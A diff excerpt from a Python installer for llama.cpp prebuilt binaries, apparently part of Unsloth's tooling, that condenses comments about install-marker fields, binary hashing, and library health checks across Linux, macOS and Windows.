**({"rocm_gfx": rocm_gfx} if rocm_gfx and _persisted_backend == "auto" else {}),
"asset_sha256": choice.expected_sha256,
"runtime_asset": choice.runtime_name,
"source": choice.source_label,
- # Binary-side repo/tag for non-fork sources (e.g. the ggml-org upstream
- # CPU/HIP prebuilts). published_repo/release_tag always refer to the
- # unsloth source tree; these capture where the actual binaries came from
- # so the install summary can show both.
+ # Where the binaries came from; published_repo/release_tag refer to the source tree.
"binary_repo": choice.repo,
"binary_release_tag": choice.tag,
"source_asset": source_asset_name,
@@ -7921,30 +7393,18 @@ def write_prebuilt_metadata(
"ggml_tree": recorded_ggml_tree(approved_checksums, choice),
"bundle_profile": choice.bundle_profile,
"runtime_line": choice.runtime_line,
- # Only a MOVED torch preference is movement. Not fingerprinted: existing installs stay valid.
"torch_runtime_preference": _torch_runtime_preference_for_marker(host),
"coverage_class": choice.coverage_class,
- # ROCm bundles: concrete built archs, so runtime GPU selection can gate
- # devices the binary has no kernels for (#7624). Deliberately NOT in the
- # install fingerprint, so existing installs stay valid and fail open until
- # their next refresh.
+ # Not fingerprinted, so existing installs stay valid and fail open until refresh.
"gfx_target": choice.gfx_target,
"mapped_targets": list(choice.mapped_targets or []),
- # CUDA analog of mapped_targets: SM coverage for the same runtime gate.
"supported_sms": [str(s) for s in (choice.supported_sms or [])],
- # Fingerprinted since #5106 but never written, so the offline re-check could not recompute it.
"runtime_sha256": choice.runtime_sha256,
"install_fingerprint": fingerprint,
- # The macOS walk-back behind release_tag; absent when it is the newest. Not fingerprinted.
**(walk_back.marker_fields() if walk_back is not None else {}),
- # size + sha256 of the binaries a reuse would otherwise RUN, size + mtime_ns of the rest.
- # Absent on a pre-PR marker: full path once.
"runtime_files": runtime_file_records(install_dir, host, _runtime_patterns),
- # The box this bundle was chosen for. Absent reads as "cannot say": full path.
**({"host_profile": host_profile(host)} if host is not None else {}),
- # Evidence that dyld really loaded these bytes on this macOS build, which is what
- # lets a later update skip the probe. Absent reads as "cannot say": probe again.
- # Not fingerprinted, so it never invalidates an install.
+ # Evidence dyld loaded these bytes on this macOS build; not fingerprinted.
**({MACOS_LOAD_PROBE_KEY: _load_probe} if _load_probe is not None else {}),
"prebuilt_fallback_used": prebuilt_fallback_used,
"installed_at_utc": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
@@ -7974,15 +7434,10 @@ def _write_marker(marker_path: Path, marker: dict) -> bool:
original = marker_path.stat()
except OSError:
original = None
- # Tracked outside the try so a raising write/flush/fsync (the ENOSPC this is
- # built to tolerate) cannot strand a partial .tmp-* beside the valid marker.
+ # Outside the try so a raising write (ENOSPC) cannot strand a partial .tmp-*.
tmp_path: Path | None = None
try:
- # Own temp file rather than atomic_write_bytes so the mode is restored
- # BEFORE the swap: os.replace keeps the source file's mode, and
- # NamedTemporaryFile is 0600, which would leave a shared install's marker
- # readable only by whoever ran setup. chmod after the swap would leave a
- # window.
+ # Own temp file so the mode is fixed BEFORE the swap: os.replace keeps NamedTemporaryFile's 0600.
with tempfile.NamedTemporaryFile(
prefix = marker_path.name + ".tmp-",
dir = marker_path.parent,
@@ -7994,8 +7449,6 @@ def _write_marker(marker_path: Path, marker: dict) -> bool:
os.fsync(handle.fileno())
if original is not None:
os.chmod(tmp_path, stat.S_IMODE(original.st_mode))
- # Owner then group, as prebuilt_core.write_live_marker explains: neither call
- # alone is right for both root and a non-root member of a shared group.
try:
os.chown(tmp_path, original.st_uid, original.st_gid)
except (OSError, AttributeError):
@@ -8060,7 +7513,6 @@ def _marker_selection_patch(
if bool(marker.get("force_cpu")) != persist_force_cpu:
patch["force_cpu"] = persist_force_cpu
if marker.get("llama_backend") != persist_llama_backend:
- # None means "no legacy override", which older readers spell as absent.
patch["llama_backend"] = persist_llama_backend
effective = backend_for_install_kind(choice.install_kind)
if effective is not None and marker.get("backend") != effective:
@@ -8068,27 +7520,19 @@ def _marker_selection_patch(
recorded_request = persisted_marker_backend_request(backend_request, choice)
if marker.get("backend_request") != recorded_request:
patch["backend_request"] = recorded_request
- # None pops the key, keeping absence the only spelling of satisfied; the `in marker` half
- # canonicalises away an explicit false some build may already have written.
+ # None pops the key: absence is the only spelling of satisfied.
unsatisfied = not marker_backend_request_was_satisfied(backend_request, choice)
if bool(marker.get(MARKER_BACKEND_REQUEST_UNSATISFIED)) != unsatisfied or (
not unsatisfied and MARKER_BACKEND_REQUEST_UNSATISFIED in marker
):
patch[MARKER_BACKEND_REQUEST_UNSATISFIED] = True if unsatisfied else None
- # Unlike the fields above, None here means "this release declares none"
- # (upstream ggml-org tags), not "clear it".
+ # None here means "this release declares none", not "clear it".
if ggml_tree and marker.get("ggml_tree") != ggml_tree:
patch["ggml_tree"] = ggml_tree
- # Only an automatic route needs the arch remembered: elsewhere the asset names
- # it, and a stale copy would outlive the GPU it describes.
automatic = patch.get("llama_backend", marker.get("llama_backend")) == "auto"
if rocm_gfx and automatic and marker.get("rocm_gfx") != rocm_gfx:
patch["rocm_gfx"] = rocm_gfx
- # Built-arch coverage for the runtime GPU gate (#7624). Absent targets mean
- # "this bundle declares none" (CUDA, Vulkan, CPU, source), not "clear it": reuse
- # requires a fingerprint match, so the asset is the one the marker describes.
- # Outside the fingerprint, so recording it never forces a reinstall -- which is
- # also why an install predating the field only gains it here.
+ # Absent targets mean "declares none", not "clear it"; outside the fingerprint, so no reinstall.
targets = [str(t).strip() for t in (choice.mapped_targets or []) if str(t).strip()]
if targets and (
marker.get("mapped_targets") != targets or marker.get("gfx_target") != choice.gfx_target
@@ -8098,36 +7542,28 @@ def _marker_selection_patch(
sms = [str(s).strip() for s in (choice.supported_sms or []) if str(s).strip()]
if sms and marker.get("supported_sms") != sms:
patch["supported_sms"] = sms
- # Set, never cleared: reuse needs a fingerprint match, so a pair-less bundle matches.
if choice.runtime_name and marker.get("runtime_asset") != choice.runtime_name:
patch["runtime_asset"] = choice.runtime_name
- # ADDED only, never corrected: overwriting a present key from a reused bundle would re-bless
- # bytes this run did not hash. prebuilt_fallback_used is the exception, since a stale False
- # keeps a fallback forever with the preferred bundle never retried.
+ # ADDED only, never corrected, so reuse cannot re-bless unhashed bytes; a stale
+ # prebuilt_fallback_used False would block retrying the preferred bundle.
if prebuilt_fallback_used is not None and marker.get("prebuilt_fallback_used") is not (
prebuilt_fallback_used
):
patch["prebuilt_fallback_used"] = prebuilt_fallback_used
if "runtime_sha256" not in marker:
- # None is what expected_install_fingerprint hashed: null, not absent.
patch["runtime_sha256"] = choice.runtime_sha256
- # A plan no longer walking back retires the keys.
patch.update(_core.walk_back_patch(marker, walk_back))
- # Empty counts as absent: runtime_file_records answers {} for an unreadable binary, and a
- # marker carrying that would fail closed on every update.
+ # Empty counts as absent, else the marker fails closed on every update.
if install_dir is not None and not marker.get("runtime_files"):
try:
backfill_patterns: list[str] | None = runtime_patterns_for_choice(choice)
except PrebuiltFallback:
backfill_patterns = None
records = runtime_file_records(install_dir, host, backfill_patterns)
- # An empty record is not evidence.
if records:
patch["runtime_files"] = records
- # host_profile is this run's own probe: a stale one sends every later update down the full path.
if host is not None and marker.get("host_profile") != host_profile(host):
patch["host_profile"] = host_profile(host)
- # Likewise the torch preference: the fast path compares what the selectors SAW, not where they routed.
if host is not None and (host.is_linux or host.is_windows):
preference = _torch_runtime_preference_for_marker(host)
if (
@@ -8191,14 +7627,12 @@ def sync_marker_selection(
else:
marker[key] = value
if not _write_marker(marker_path, marker):
- # Losing this lets the next update re-route a deliberate choice (#7213), so
- # say so loudly; do not fail an otherwise good install over it.
+ # Losing this lets the next update re-route a deliberate choice; warn, do not fail.
log(
f"WARNING: could not record {sorted(patch)} in {marker_path}; "
"a later update may not re-assert this choice"
)
return
- # Keys, not values: runtime_files can hold dozens of entries.
log(f"existing install reused; recorded {sorted(patch)} from this run")
@@ -8223,12 +7657,7 @@ def expected_install_fingerprint(
"source_asset": source_asset_name,
"source_sha256": source_sha256,
"runtime_line": choice.runtime_line,
- # Including the paired runtime archive (Windows cudart bundle)
- # in the fingerprint is what forces existing #5106 installs to
- # refresh: pre-PR installs hashed nothing in this slot, post-PR
- # paired installs hash the cudart sha. Without these two keys
- # an existing cudart-less install would keep matching the new
- # choice and never re-overlay the cudart DLLs.
+ # Fingerprinting the cudart pair forces older cudart-less installs to refresh.
"runtime_asset": choice.runtime_name,
"runtime_sha256": choice.runtime_sha256,
"bundle_profile": choice.bundle_profile,
@@ -8287,8 +7716,6 @@ def installed_llama_runtime(install_dir: Path | None = None) -> tuple[Path, str,
release_tag = metadata.get("release_tag")
if not isinstance(release_tag, str) or not release_tag:
return None
- # Same layout install_runtime_dir() derives; a marker on disk always
- # belongs to this host, so the running OS picks the variant.
bin_dir = root / "build" / "bin"
if os.name == "nt":
bin_dir = bin_dir / "Release"
@@ -8309,9 +7736,7 @@ def installed_llama_ggml_tree(install_dir: Path | None = None) -> str | None:
return tree if isinstance(tree, str) and tree else None
-# ggml-org/llama.cpp#23462 split per-binary entry code into ``lib<binary>-impl``
-# libraries between b9279 and b9283; an older archive is monolithic and healthy
-# without llama-server-impl.dll, so requiring it there forces a source build.
+# Older archives are monolithic and healthy without llama-server-impl.dll.
LLAMA_SERVER_IMPL_SPLIT_BUILD = 9283
@@ -8336,11 +7761,7 @@ def _windows_shared_groups(source_label: str | None, tag: str | None = None) ->
groups.append(["llama-server.exe"])
build = _release_build_number(tag)
if build is None or build >= LLAMA_SERVER_IMPL_SPLIT_BUILD:
- # Both halves of the split, not just the server's. llama-quantize.exe
- # links against llama-quantize-impl.dll exactly as llama-server.exe
- # links against llama-server-impl.dll, and a b10798 windows-x64-rocm
- # bundle ships both; requiring only one let a quarantined quantize
- # implementation read as healthy while quantization could not start.
+ # Both halves: llama-quantize.exe links llama-quantize-impl.dll like the server does.
groups.append(["llama-server-impl.dll"])
groups.append(["llama-quantize-impl.dll"])
groups.append(["ggml.dll"])
@@ -8447,23 +7868,8 @@ def runtime_payload_health_groups(
["libggml-cuda.so*"],
] + _linux_split_entrypoint_groups(source_label, tag)
if install_kind in {"macos-arm64", "macos-x64"}:
- # One group per library, not three broad alternatives. A real bundle
- # ships libggml, libggml-base, libggml-blas, libggml-cpu, libggml-metal
- # and libggml-rpc, so a single libggml*.dylib group stayed satisfied by
- # the siblings after the one the loader needs was quarantined, and the
- # tree reported healthy while llama-server died in dyld. The names are
- # taken from the shipped macos-arm64 bundle rather than guessed. The dot
- # is what keeps each pattern off its siblings: libggml.* cannot match
- # libggml-base. Each library is a symlink chain onto one versioned file
- # (libggml.dylib -> libggml.0.dylib -> libggml.0.23.0.dylib). Losing the
- # target is caught by the resolved is_file test in
- # _payload_match_is_loadable, and losing the middle link, which is the
- # install name dyld actually asks for, by the version-depth test there:
- # libggml.0.23.0.dylib cannot satisfy the group on its own.
- #
- # blas, metal and rpc are deliberately absent: they are the accelerator
- # and transport backends, the way libggml-cuda is on Linux, and requiring
- # one a bundle does not carry would reinstall every install that lacks it.
+ # One group per library: a broad libggml*.dylib group stays satisfied by siblings after the needed
+ # one is quarantined. blas, metal and rpc are optional backends, so not required.
return [
["libllama-common.dylib", "libllama-common.*.dylib"],
["libllama.dylib", "libllama.*.dylib"],
@@ -8488,10 +7894,7 @@ def runtime_payload_health_groups(
["libllama.so*"],
["libggml.so*"],
["libggml-base.so*"],
- # Match the sibling globs (linux-cuda/-rocm): x64 bundles ship
- # arch-suffixed libggml-cpu-<variant>.so, arm64 may ship a bare
- # libggml-cpu.so; the '-' form missed the latter and re-flagged
- # the install unhealthy on every check.
+ # arm64 may ship a bare libggml-cpu.so; the '-' form missed it.
["libggml-cpu*.so*"],
["libmtmd.so*"],
["libggml-vulkan.so*"],
@@ -8503,18 +7906,13 @@ def runtime_payload_health_groups(
return _windows_shared_groups(source_label, tag)
if install_kind in {"windows-cuda", "windows-arm64-cuda"}:
groups = _windows_shared_groups(source_label, tag) + [["ggml-cuda.dll"]]
- # Require the complete cudart trio only when it was paired with this install.
if runtime_name or (install_dir is not None and _has_a_paired_cuda_runtime(install_dir)):
groups.append(["cudart64_*.dll"])
groups.append(["cublas64_*.dll"])
groups.append(["cublasLt64_*.dll"])
return groups
if install_kind in {"windows-hip", "windows-rocm"}:
- # ggml-hip.dll by name. A real ROCm bundle carries amdhip64_7.dll,
- # hipblas.dll and libhipblaslt.dll beside it, all of which match a
- # "*hip*.dll" group, so quarantining the one module ggml actually loads
- # left the group satisfied by three libraries that cannot stand in for it.
- # Measured on app-b10798-mix-659e406-windows-x64-rocm-gfx1150.zip.
+ # ggml-hip.dll by name: other ROCm libs would satisfy a "*hip*.dll" group without it.
return _windows_shared_groups(source_label, tag) + [["ggml-hip*.dll"]]
if install_kind in {"windows-vulkan", "windows-arm64-vulkan"}:
groups = _windows_shared_groups(source_label, tag) + [["ggml-vulkan.dll"]]
@@ -8563,8 +7961,6 @@ def _has_versioned_siblings(path: Path) -> bool:
try:
siblings = list(path.parent.iterdir())
except OSError:
- # Unreadable directory: keep the older, more permissive answer rather than
- # calling a tree broken over something that was never inspected.
return False
for sibling in siblings:
if sibling.name == path.name or _family_base(sibling.name) != base:
@@ -8616,36 +8012,15 @@ def _payload_match_is_loadable(path: Path) -> bool:
return False
match = _LINKER_NAME_RE.match(path.name) or _DYLIB_NAME_RE.match(path.name)
if match is None:
- # A name carrying ``.so`` whose tail is not a version is not a name any
- # loader asks for. The Linux groups all end in ``.so*``, so quarantine
- # that renames in place rather than deleting left the group satisfied by
- # its own victim: renaming libggml-base.so.0 to libggml-base.so.0.vir on
- # a b10840 install kept this answering healthy while llama-server exited
- # with "cannot open shared object file". Windows and macOS groups end in
- # the extension itself, so a suffixed name misses them already.
+ # A ".so" name with a non-version tail (a renamed quarantine victim) is not loadable.
return ".so" not in path.name
depth = match.group("version").count(".")
if depth > 1:
- # More components than a SONAME can carry, so this is the terminal file
- # and never what a DT_NEEDED entry or an LC_LOAD_DYLIB names.
return False
if depth == 1:
return True
- # Versionless. Whether that is the loadable name depends on the family around
- # it, which is why this is not a decision the name alone can make: b10840
- # ships libllama.so, libllama.so.0 and libllama.so.0.4.0, and copy_globs
- # flattens all three into regular files because shutil.copy2 follows the
- # links the tarball uses. Quarantining libllama.so.0 then left libllama.so
- # standing, the group satisfied, and llama-server dying in the loader.
- #
- # Any versioned sibling is enough to disqualify it, not only a SONAME-shaped
- # one. Asking for a SONAME specifically would read the family as versionless
- # again the moment the SONAME is the file that went missing, which is the
- # case this exists to catch. The cost is that a bundle shipping a versionless
- # name beside a fully versioned one and no SONAME at all would be called
- # broken; no release ships that, and the answer a directory listing can give
- # ends here, since what the loader asks for lives in the dependent binary's
- # DT_NEEDED rather than in any of these names.
+ # A versionless name is loadable only with no versioned siblings: copy_globs flattens links,
+ # so libllama.so can survive after libllama.so.0 is quarantined.
return not _has_versioned_siblings(path)
@@ -8715,7 +8090,6 @@ def _tree_looks_prebuilt(install_dir: Path, host: HostInfo) -> bool:
)
-# The binaries a reuse decision would otherwise start; the DiffusionGemma visual server is optional.
_RUNTIME_RECORD_NAMES = (
"llama-server",
"llama-quantize",
@@ -8812,7 +8186,6 @@ def runtime_file_records(
)
return {}
records[relative] = record
- # Last, so a binary the sweep matched is upgraded to the hashed tier.
for candidate in _runtime_record_paths(install_dir, host):
try:
relative = candidate.relative_to(install_dir).as_posix()
@@ -8822,7 +8195,6 @@ def runtime_file_records(
if record is None:
continue
try:
- # Streamed: a CUDA llama-server is large.
record["sha256"] = sha256_file(candidate)
except (OSError, MemoryError) as exc:
# No record at all: the size-only tier would trust a same-size corrupt binary.
@@ -8864,7 +8236,6 @@ def macos_product_version() -> str:
key, sep, value = line.partition(":")
if sep:
values[key.strip()] = value.strip()
- # Absent ProductVersionExtra means no RSR, and predates macOS 13; not a failure.
fields = [
values.get(key, "")
for key in ("ProductVersion", "ProductVersionExtra", "BuildVersion")
@@ -8874,7 +8245,6 @@ def macos_product_version() -> str:
except Exception: # noqa: BLE001
pass
try:
- # sw_vers unavailable: the product version alone still catches a point release.
return str(platform.mac_ver()[0] or "").strip()
except Exception: # noqa: BLE001
return ""
@@ -8920,8 +8290,6 @@ def persist_macos_load_probe(install_dir: Path, host: HostInfo) -> bool:
and recorded
and all(isinstance(e, dict) and e.get("sha256") for e in recorded.values())
):
- # Both macOS kinds share one pattern list, so the host answers this without
- # a plan; an unreadable file yields {} and no evidence rather than a half record.
kind = "macos-arm64" if str(host.machine or "").lower() == "arm64" else "macos-x64"
records = runtime_file_records(
install_dir, host, runtime_patterns_for_install_kind(kind)
@@ -8932,7 +8300,6 @@ def persist_macos_load_probe(install_dir: Path, host: HostInfo) -> bool:
marker.update(patch)
return _write_marker(install_dir / "UNSLOTH_PREBUILT_INFO.json", marker)
except Exception: # noqa: BLE001
- # Best effort: a marker we could not rewrite costs another probe, never the reuse.
return False
@@ -8994,7 +8361,6 @@ def _runtime_files_match(install_dir: Path, host: HostInfo, marker: "dict[str, A
except OSError as exc:
log(f"kept install rejected: {relative} is unreadable ({exc})")
return False
- # An unrecorded binary is not evidence against the install; a RECORDED one that vanished is.
return True
@@ -9146,13 +8512,10 @@ def _runtime_preference_moved(marker: "dict[str, Any]", host: HostInfo) -> bool:
return False
preferred = detect_torch_cuda_runtime_preference(host).runtime_line
if "torch_runtime_preference" in marker:
- # The selectors do not always follow the preference (Blackwell routing, a release without
- # that line), so only the preference itself moving is movement.
recorded_preference = marker.get("torch_runtime_preference")
if preferred == recorded_preference:
return False
if not preferred:
- # Preference gone (torch removed): the selectors fall back to the host's runtime order.
fallback = _fallback_runtime_line(host)
if fallback is None or fallback == recorded_line:
return False
@@ -9168,10 +8531,9 @@ def _runtime_preference_moved(marker: "dict[str, Any]", host: HostInfo) -> bool:
f"the install was chosen under {recorded_preference or 'no preference'}"
)
return True
- # A marker predating the preference has only the installed line; the full path records it once.
if not preferred or preferred == recorded_line:
return False
- # A preference the selectors cannot act on must be ignored here too, or every update is full.
+ # A preference the selectors cannot act on must be ignored, or every update is full.
if not _runtime_line_selectable(host, preferred):
return False
log(
@@ -9286,7 +8648,6 @@ def _expected_release_tag_without_plan(
pinned = (published_release_tag or "").strip()
requested = normalized_requested_llama_tag(llama_tag)
if pinned:
- # The full path checks a pinned release against a concrete upstream pin too.
if requested != "latest":
recorded_upstream = marker.get("tag")
if not isinstance(recorded_upstream, str) or recorded_upstream != requested:
@@ -9294,7 +8655,6 @@ def _expected_release_tag_without_plan(
return pinned
repo = published_repo or DEFAULT_PUBLISHED_REPO
if requested != "latest":
- # An upstream pin: a marker naming another build is not current.
recorded_upstream = marker.get("tag")
if not isinstance(recorded_upstream, str) or recorded_upstream != requested:
return None
@@ -9302,21 +8662,16 @@ def _expected_release_tag_without_plan(
if not isinstance(recorded_release, str) or not recorded_release:
return None
if repo == UPSTREAM_REPO:
- # Upstream publishes one release per build under the build's own tag.
return recorded_release
if repo != DEFAULT_PUBLISHED_REPO and is_release_tag_like(requested):
- # Any other repo is fetched as that exact release, never a "<pin>-<packaging>" one.
return requested
# The fork can package one build more than once, so a pinned build still asks the API.
return _api_newest_release_tag_for_upstream(repo, requested, recorded_release)
- # Below the macOS floor the selector answers the pinned upstream fallback; a current marker names it.
if host is not None:
pinned_macos = pinned_macos_release_tag(host, repo)
if pinned_macos is not None:
return pinned_macos
if not _download_host_resolve_enabled() or repo != DEFAULT_PUBLISHED_REPO:
- # The API path, or a repo the selector never resolves through the download host:
- # /releases/latest for a custom repo could disagree with the selector forever.
return _api_newest_release_tag(repo)
try:
resolved = _download_host_latest_release_tag(repo)
@@ -9355,7 +8710,6 @@ def _diffusion_visual_server_missing_for_marker(
kind for kind in install_kinds_for_backend(backend) if kind.startswith(platform_prefix)
]
if not kinds:
- # An unknown backend cannot say the bundle ships one; guessing yes re-extracts every update.
return False
name = "llama-diffusion-gemma-visual-server" + (".exe" if host.is_windows else "")
if not any(
@@ -9454,29 +8808,21 @@ def existing_install_current_without_plan(
# (1) the marker describes an install this run would have made.
if not isinstance(marker.get("install_fingerprint"), str):
return False
- # --force-cpu or --llama-backend differing from the record is a request to change the install.
recorded_request = marker.get("backend_request")
if not isinstance(recorded_request, str) or recorded_request != backend_request:
return False
- # An unhonoured request is preserved now (#11143), so "recorded == requested" no longer
- # implies the bundle runs it; it is owed a RETRY. Named by THIS run, re-assert at once;
- # read off the marker, retry only once something moved, which is what the checks below
- # test -- retrying unconditionally costs the full listing plus re-validation (13-63 s on
- # macOS) on every update of a host that cannot serve the choice. So judge a marker-read
- # install as the AUTOMATIC one it is: routing the unsatisfied request rewrites the host
- # (a Vulkan route drops has_rocm and the AMD arch) and can never match the marker.
+ # An unsatisfied request is retried only once something moved, else every update pays the full
+ # listing; judge a marker-read install as the automatic one it is.
unsatisfied = marker_records_unsatisfied_backend_request(marker)
if unsatisfied and backend_request_mandatory:
return False
if bool(marker.get("force_cpu")) != bool(force_cpu):
return False
- # A fallback bundle is a stopgap: its marker keeps taking the full path, which retries the preferred.
if marker.get("prebuilt_fallback_used") is True:
log("kept install rejected: it is a fallback bundle; the preferred one is retried")
return False
# (2) the hardware. Local probes only, and the caller's route, so they run once per update.
if unsatisfied and (route is None or route.backend != "auto"):
- # The caller's route was computed for the request, which this install does not run.
route = route_backend_request(
backend = "auto",
published_repo = published_repo,
@@ -9495,19 +8841,16 @@ def existing_install_current_without_plan(
cpu_mechanism = force_cpu,
)
host = route.host
- # The ROUTED repo: a Linux arm64 Vulkan host goes upstream, and the marker records that.
if (marker.get("published_repo") or "") != (route.published_repo or DEFAULT_PUBLISHED_REPO):
return False
if not _marker_backend_fits_host(marker, host):
return False
recorded_profile = marker.get("host_profile")
if not isinstance(recorded_profile, dict):
- # Written before host_profile: "cannot tell". The full path records it, so this is paid once.
return False
if recorded_profile != host_profile(host):
log("kept install rejected: this host no longer matches the one it was installed for")
return False
- # The profile omits the physical caps: a card swapped under a mask changes only those.
if not _kept_install_covers_host(marker, host):
log("kept install rejected: the bundle no longer covers this card or driver")
return False
@@ -9537,11 +8880,8 @@ def existing_install_current_without_plan(
install_runtime_dir(install_dir, host) / f"llama-{name}{extension}"
for name in ("server", "quantize")
]
- # _damaged_entrypoint rather than X_OK over these two, because it is the owner of this
- # question and also covers the install root's copies, which _find_llama_server_binary
- # reaches FIRST. Checking build/bin alone made this shortcut accept a tree that
- # installed_runtime_health rejects: the desktop marked the install stale, the update ran,
- # this returned True before reinstalling anything, and the next launch was stale again.
+ # _damaged_entrypoint also covers the install root's copies, which _find_llama_server_binary
+ # reaches first.
if _damaged_entrypoint(install_dir, host) is not None:
return False
# (6) the bytes are the ones installed; before the preflight, whose probe skip trusts them.
@@ -9557,7 +8897,6 @@ def existing_install_current_without_plan(
)
except Exception: # noqa: BLE001
return False
- # The one backfill that is not a release change, so it has to be asked separately.
if _diffusion_visual_server_missing_for_marker(install_dir, host, marker):
return False
# "already matches" is what setup.sh and setup.ps1 grep for to report the install up to date.
@@ -9610,15 +8949,12 @@ def _kept_install_payload_is_healthy(install_dir: Path, host: HostInfo) -> bool:
kind for kind in install_kinds_for_backend(backend) if kind.startswith(platform_prefix)
)
if not kinds:
- # An unknown backend still owes the payload every kind on this platform shares.
kinds = sorted(kind for kind in INSTALL_KIND_BACKENDS if kind.startswith(platform_prefix))
if not kinds:
return True
- # A backend can map to multiple kinds, so require only their shared payload.
runtime_asset = (marker or {}).get("runtime_asset")
source_label = (marker or {}).get("source")
if not isinstance(source_label, str) or not source_label:
- # No marker to read, or one that parsed without a source. Ask the tree.
source_label = "published" if _tree_looks_prebuilt(install_dir, host) else None
marker_tag = (marker or {}).get("tag")
shared = set.intersection(
@@ -9687,13 +9023,7 @@ def installed_runtime_health(
"""
root = install_dir if install_dir is not None else default_managed_llama_dir()
if load_prebuilt_metadata(root) is None:
- # An absent marker means nobody installed a runtime. A marker that is
- # present but unparseable is a real tree, and answering None for it would
- # leave preflight Ready with the repair unoffered, the exact failure this
- # catches, so fall through and grade it instead.
- # _kept_install_payload_is_healthy treats such a marker as an unknown
- # backend and checks only the payload every kind on the platform shares,
- # so the no-stricter rule still holds.
+ # A present but unparseable marker is a real tree: grade it rather than answer None.
if not (root / "UNSLOTH_PREBUILT_INFO.json").is_file():
return None
host = host if host is not None else platform_only_host()
@@ -9702,22 +9032,8 @@ def installed_runtime_health(
return False, "llama_runtime_dir_missing"
if not _kept_install_payload_is_healthy(root, host):
return False, "llama_runtime_payload_incomplete"
- # The payload groups name libraries only, so on Linux and macOS a quarantined
- # llama-server would otherwise read as a complete install.
- # _existing_install_runs requires both of these too, and asks for the execute
- # bit rather than mere presence, so this asks the same way: extraction damage
- # or security software that clears the bit without deleting the file leaves
- # _find_llama_server_binary rejecting the tree (os.access X_OK, "non
- # executable", no fallback) while an exists() check here still answered Ready.
- # Windows has no execute bit, and the host is a parameter here, so the check
- # follows the tree being graded rather than the interpreter doing the grading:
- # a Windows bundle unpacked on a POSIX filesystem is not a broken install. The
- # reason stays llama_runtime_binaries_missing: the repair is the same
- # reinstall, and the frontend renders that reason already.
- # A regular file first: a directory of that name is searchable, so os.access
- # X_OK answers true for it and exists() does too, while _file_status in the
- # finder asks is_file() and rejects the tree. Failed extraction leaves exactly
- # that.
+ # Ask for the execute bit and a regular file like the finder does: cleared bits or a
+ # same-named directory would otherwise read as Ready.
if _damaged_entrypoint(root, host, selected_root_only = True) is not None:
return False, "llama_runtime_binaries_missing"
return True, ""
@@ -9806,7 +9122,6 @@ _BROKEN_IMAGE_SIGNALS = frozenset(
{signal.SIGSEGV, signal.SIGILL, signal.SIGFPE}
| ({signal.SIGBUS} if hasattr(signal, "SIGBUS") else set())
)
-# Windows' "%1 is not a valid Win32 application", its answer to a corrupt image.
_ERROR_BAD_EXE_FORMAT = 193
# A Windows loader failure is not a signal: it exits the NTSTATUS (0xC0000135) positive.
_NTSTATUS_FAILURE_FLOOR = 0xC0000000
@@ -9830,8 +9145,6 @@ def _binary_image_runs(
result = run_capture(
[str(path), "--version"],
timeout = 60,
- # runtime_line puts the CUDA toolkit on PATH; a pair-less Windows install
- # cannot start without it.
env = binary_env(path, install_dir, host, runtime_line = runtime_line),
)
except OSError as exc:
@@ -9873,7 +9186,6 @@ def _kept_install_covers_host(marker: "dict[str, Any] | None", host: HostInfo) -
if line not in lines:
return False
supported = set(normalize_compute_caps(marker.get("supported_sms") or []))
- # Under a mask the visible caps are empty; the physical ones are what the card is.
host_sms = normalize_compute_caps(host.compute_caps or host.physical_compute_caps or [])
return not supported or not host_sms or all(sm in supported for sm in host_sms)
if backend == "rocm":
@@ -9901,12 +9213,10 @@ def _existing_install_runs(install_dir: Path, host: HostInfo) -> bool:
binaries = [runtime_dir / f"llama-{name}{ext}" for name in ("server", "quantize")]
if _damaged_entrypoint(install_dir, host) is not None:
return False
- # A current macOS load record also replaces the `--version` probes below.
recorded_bytes_intact = _macos_load_record_is_current(marker, host) and _runtime_files_match(
install_dir, host, marker
)
try:
- # Each preflight is a no-op outside its platform.
preflight_linux_installed_binaries(binaries, install_dir, host)
probed = preflight_macos_installed_binaries(
binaries, install_dir, host, load_probe = not recorded_bytes_intact
@@ -9915,8 +9225,7 @@ def _existing_install_runs(install_dir: Path, host: HostInfo) -> bool:
return False
if recorded_bytes_intact:
return True
- # Root copies first: _find_llama_server_binary reaches them first, and without a
- # symlink they can rot alone.
+ # Root copies first: _find_llama_server_binary reaches them first.
probes: list[Path] = []
seen: set[Path] = set()
for binary in [install_dir / p.name for p in binaries] + binaries:
@@ -9934,9 +9243,7 @@ def _existing_install_runs(install_dir: Path, host: HostInfo) -> bool:
_binary_image_runs(binary, install_dir, host, recorded_runtime_line) for binary in probes
):
return False
- # Last, not straight after the dyld probe: recording before the root entrypoints ran
- # would bless a corrupt wrapper into the record, and the next run would read the
- # record as current, return above, and never start the wrapper either.
+ # Record last, or a corrupt root wrapper is blessed and never started on later runs.
if probed:
persist_macos_load_probe(install_dir, host)
return True
@@ -9989,17 +9296,10 @@ def existing_install_matches_choice(
if not runtime_payload_is_healthy(install_dir, host, choice):
return False
- # Verify primary executables are still startable (catches partial deletion, and
- # damage that leaves the name behind). The same test _existing_install_runs and
- # installed_runtime_health use, deliberately: this is the keep-or-reinstall
- # decision, and a tree the probe rejects but this one keeps is repaired by
- # downloading nothing and rejected again on the next launch. exists() was that
- # tree: security software or a bad extraction that clears the execute bit
- # leaves the file in place, and ldd reads a non-executable ELF quite happily,
- # so both gates here passed while the probe said llama_runtime_binaries_missing.
+ # Same startable test as installed_runtime_health, else the repair downloads nothing and the
+ # tree is rejected again on next launch.
if _damaged_entrypoint(install_dir, host) is not None:
return False
- # Non-empty: a zero-byte llama-server.exe under a pre-record marker was reused as current.
runtime_dir = install_runtime_dir(install_dir, host)
ext = ".exe" if host.is_windows else ""
for binary in ("llama-server", "llama-quantize"):
@@ -10008,8 +9308,7 @@ def existing_install_matches_choice(
return False
except OSError:
return False
- # Windows has no image-reading preflight, so a truncated llama-server.exe kept its fingerprint
- # match. Only a marker carrying the record is held to it.
+ # Windows has no image-reading preflight, so hold markers carrying the record to it.
recorded_files = metadata.get("runtime_files")
runtime_files_matched = False
if isinstance(recorded_files, dict) and recorded_files:
@@ -10017,10 +9316,7 @@ def existing_install_matches_choice(
return False
runtime_files_matched = True
elif not (host.is_linux or host.is_macos):
- # The migration run, on the one platform with no loader preflight below: a pre-record
- # marker has no digest, so damaged bytes would become the reference they are later
- # compared against. Start them once instead. _binary_image_runs treats a timeout or an
- # ordinary non-zero exit as healthy, so this costs a working install nothing.
+ # Pre-record marker on Windows: start the binaries once so damaged bytes do not become the reference.
if not all(
_binary_image_runs(
runtime_dir / f"{binary}{ext}",
@@ -10042,9 +9338,6 @@ def existing_install_matches_choice(
)
except Exception:
return False
